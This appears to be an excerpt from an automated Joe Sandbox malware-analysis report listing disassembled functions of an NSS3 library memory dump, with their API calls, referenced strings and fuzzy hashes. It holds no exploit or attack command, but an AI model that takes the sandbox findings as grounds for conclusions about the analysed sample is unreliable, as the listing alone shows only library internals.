PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C72FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C72FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C730007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C730029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C730044

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: cd5c0b4a1cf703aecc575312fafd8fe8b49c5bab884e653a2ac78b2e0092ca33
Instruction ID: 99eb797430de0041427267366979bf52d30af67e13f0dc942945d97f7a451946
Opcode Fuzzy Hash: cd5c0b4a1cf703aecc575312fafd8fe8b49c5bab884e653a2ac78b2e0092ca33
Instruction Fuzzy Hash: D8B1E371A04311AFE314CF29C944A6BF7E5FF88318F548A2DE99987A41E734E944CB91

Function 6C727D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C727DDC

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C727DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C727F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C727F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C727F98
PK11_FreeSymKey.NSS3(?), ref: 6C727FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C727FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C728000

Part of subcall function 6C749430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C727F0C,?,00000000,00000000,00000000,?), ref: 6C74943B
Part of subcall function 6C749430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C74946B
Part of subcall function 6C749430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C749546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C728110
PK11_FreeSymKey.NSS3(00000000), ref: 6C72811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C72822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C72823C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 80b182c3ad6e61b06abeade53d0ac903fa5f0e0c3aacf57bd25a144a44c3f40c
Instruction ID: 86fb24e81ef6cfefb05e5d56a0bfbb55623a6d0be7f8e1252a167890b2b55b95
Opcode Fuzzy Hash: 80b182c3ad6e61b06abeade53d0ac903fa5f0e0c3aacf57bd25a144a44c3f40c
Instruction Fuzzy Hash: 2CC17EB1D002599FEB21CF14CE44FEAB7B8AF15348F0481E9E81DA6641E7359E85CFA1

Function 6C730EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C730F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C730FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C731006
PK11_FreeSymKey.NSS3(?), ref: 6C73101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C731033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C73103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C731048
memcpy.VCRUNTIME140(?,?,?), ref: 6C73108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7310BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7310D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C73112E

Part of subcall function 6C731570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7308C4,?,?), ref: 6C7315B8
Part of subcall function 6C731570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7308C4,?,?), ref: 6C7315C1
Part of subcall function 6C731570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73162E
Part of subcall function 6C731570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C731637

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 2ac75a04001df5fc9ce411f0a7e7e770689f33ac6f678f22e86eb5fc861b5d83
Instruction ID: ca5e420fbe90761841ae87a93c94c774cc33597c16f2cc2f022ea2ead5c0583d
Opcode Fuzzy Hash: 2ac75a04001df5fc9ce411f0a7e7e770689f33ac6f678f22e86eb5fc861b5d83
Instruction Fuzzy Hash: 3A71C0B5A042158FDB00CFA5CE88AAAB7F0BF44318F148638E50D97B12E731D954CB91

Function 6C751CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C751F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C752166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C75228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7523B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C75241C

Strings

token, xrefs: 6C751F2C
manufacturer, xrefs: 6C752179
model, xrefs: 6C7523CB, 6C7523EC
serial, xrefs: 6C7522A2

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 6df907165ba0ec0e847cc2b185ee499f6966c8e76bb5ef45f412c7f96a5b8922
Instruction ID: a9408560b008525a12f46fb5d539e2313477b775380a702d5975fcccc73423e9
Opcode Fuzzy Hash: 6df907165ba0ec0e847cc2b185ee499f6966c8e76bb5ef45f412c7f96a5b8922
Instruction Fuzzy Hash: 800240A2D0C7C86EF7318671C54C7D77AE09B45328F8D167EC5DE46AC3CBA868988391

Function 6C756C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C3F

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C60
PR_ExplodeTime.NSS3(00000000,6C701C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C94

Strings

gfff, xrefs: 6C756CFD
gfff, xrefs: 6C756D30
gfff, xrefs: 6C756D9C
gfff, xrefs: 6C756CF5
gfff, xrefs: 6C756D66

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: db3e68bf4a71967849b5aea855757439aaeacac90a5f8b4cf86ac28410c110bf
Instruction ID: 4fac6f48f468301f2c162d1a3d078b3860656c26098d1308a2c89cf42eba573d
Opcode Fuzzy Hash: db3e68bf4a71967849b5aea855757439aaeacac90a5f8b4cf86ac28410c110bf
Instruction Fuzzy Hash: B0515C72B016494FC70CCDADDC527DAB7DAABA4310F48C23AE842DB785DA78E906C751

Function 6C7D0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C7D1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7D10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D1353

Strings

zeroblob(%d), xrefs: 6C7D1223
'%.*q', xrefs: 6C7D1217, 6C7D1292
%lld, xrefs: 6C7D114B
-- , xrefs: 6C7D0FF5
%02x, xrefs: 6C7D12F6
$, xrefs: 6C7D12A0
NULL, xrefs: 6C7D119E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 7689f5de41d4988e1c26f61d2c6eff65d8edaf3a806826c8c8ee9f8fcbcbb3c8
Instruction ID: 62cd6d86cfc55dbfdd8c91cb33b5fd84d91f734010a7f5649f566accc3c77acc
Opcode Fuzzy Hash: 7689f5de41d4988e1c26f61d2c6eff65d8edaf3a806826c8c8ee9f8fcbcbb3c8
Instruction Fuzzy Hash: 9EE1B071A083409FD710CF18D580A6BBBF1BF86368F16892DE58587B51D771F849CB42

Function 6C7D8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7D8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D9209

Strings

UUUU, xrefs: 6C7D9255
3333, xrefs: 6C7D925E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 856e19f0ed0406e6eba0ec9702877cf17877784d203b9350fe602de691057f84
Instruction ID: eeb7d49f728434122bb9e40ccf2cbf2f6ff0a7157cc80dd717bc993c70a900cc
Opcode Fuzzy Hash: 856e19f0ed0406e6eba0ec9702877cf17877784d203b9350fe602de691057f84
Instruction Fuzzy Hash: BEA19F72E001159BDB14CB68DD95BAEB7B5AB88324F0A4139E905B7741EB36EC01CBE1

Function 6C690FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C69103E
EnterCriticalSection.KERNEL32(?), ref: 6C691139
LeaveCriticalSection.KERNEL32(?), ref: 6C691190
sqlite3_free.NSS3(00000000), ref: 6C691227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C69126E
sqlite3_free.NSS3(?), ref: 6C69127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C691267
winAccess, xrefs: 6C69129B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: cb8b62e80829efa3c1a162cdf5fb7860fff807ae1903d8d2b72b40455e9905ec
Instruction ID: d95db37d1766cad2631e254f9f0b5904bb399180222b57f412249d300e3db7e3
Opcode Fuzzy Hash: cb8b62e80829efa3c1a162cdf5fb7860fff807ae1903d8d2b72b40455e9905ec
Instruction Fuzzy Hash: DC712B31709212ABEB64DF25DC95AAE3379FB87318F240639E81587A80DB34D845C7DB

Function 6C69AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?), ref: 6C69B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B0A2
CloseHandle.KERNEL32(?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?,?,?), ref: 6C69B100
sqlite3_free.NSS3(?,?,00000002,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?), ref: 6C69B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B12D

Part of subcall function 6C689EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C69C6FD,?,?,?,?,6C6EF965,00000000), ref: 6C689F0E
Part of subcall function 6C689EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6EF965,00000000), ref: 6C689F5D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 64dd36e8025769bba12e03fb9c2228b91693802bbdda85edb12d312d446b3f30
Instruction ID: 363c9304fef1736c0c9f4bdd64aa5392c37d448ae1e35f10ba635e896322f203
Opcode Fuzzy Hash: 64dd36e8025769bba12e03fb9c2228b91693802bbdda85edb12d312d446b3f30
Instruction Fuzzy Hash: E791DDB0E042068FDB24CF25C984ABBB7F1FF86308F14462DE41697A51EB35E845CB99

Function 6C76BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C76BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C76BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C76BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C76BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C76BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C76BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C76BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C76BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C76BE1E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 2eae1f969210aedc8c3e1539ddbbd4e7e5e4d041f25c21f7885dfe3be1a642c6
Instruction ID: e2db0adedac29593919f4952ef9454320226c749b0d03372dafde3b20a55a21c
Opcode Fuzzy Hash: 2eae1f969210aedc8c3e1539ddbbd4e7e5e4d041f25c21f7885dfe3be1a642c6
Instruction Fuzzy Hash: 512193BAE1439957FB004657DE4BB8B36789B93B4DF080134FD16BEE42E710B41886A6

Function 6C818D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8614E4,6C7CCC70), ref: 6C818D47
PR_GetCurrentThread.NSS3 ref: 6C818D98

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C818E7B
htons.WSOCK32(?), ref: 6C818EDB
PR_GetCurrentThread.NSS3 ref: 6C818F99
PR_GetCurrentThread.NSS3 ref: 6C81910A

Strings

%u.%u.%u.%u, xrefs: 6C818E74

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 4f215e7b293a90f0689375ed7dcaa36962088ae79c7b065fc2254cedba63d74c
Instruction ID: b4ac21e3e21f144f9e0da6ac0485e533da5aaf698afd4e25aa20a70be083ff59
Opcode Fuzzy Hash: 4f215e7b293a90f0689375ed7dcaa36962088ae79c7b065fc2254cedba63d74c
Instruction Fuzzy Hash: EB02CB329092578FDB24CF19C568366BBF3EF42314F1A8B9AC8915BE91C339D985C790

Function 6C69EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

temporary table name must be unqualified, xrefs: 6C69F734
view, xrefs: 6C69F061, 6C69F071, 6C69FAB7
not authorized, xrefs: 6C69F957, 6C69F9BA
there is already an index named %s, xrefs: 6C69F9D7
authorizer malfunction, xrefs: 6C69F95C, 6C69F9BF, 6C69FA5E, 6C69FA8B
table, xrefs: 6C69F05C, 6C69FABC, 6C69FAC7
sqlite_master, xrefs: 6C69F0AB, 6C69F2DA, 6C69F757, 6C69F93E
sqlite_temp_master, xrefs: 6C69F0A6, 6C69F2D5
%s %T already exists, xrefs: 6C69FAC8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 51563e92b088905816beaf2c6879ae630bed8a3921f2d80ab397c46e7f4dd14b
Instruction ID: 1255b14ef4380ac43827adb80a6f06909c532f41f43d386865ac921e46136fcb
Opcode Fuzzy Hash: 51563e92b088905816beaf2c6879ae630bed8a3921f2d80ab397c46e7f4dd14b
Instruction Fuzzy Hash: 4F72D270E042068FDB14CF68C484BAABBF1FF49308F1681AEE8159B752D775E846CB95

Function 6C7B9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C68C52B), ref: 6C7B9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7BA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7BA114

Strings

database corruption, xrefs: 6C7BA029, 6C7BA108
%s at line %d of [%.10s], xrefs: 6C7BA02E, 6C7BA10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7BA01F, 6C7BA0E4, 6C7BA0FE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
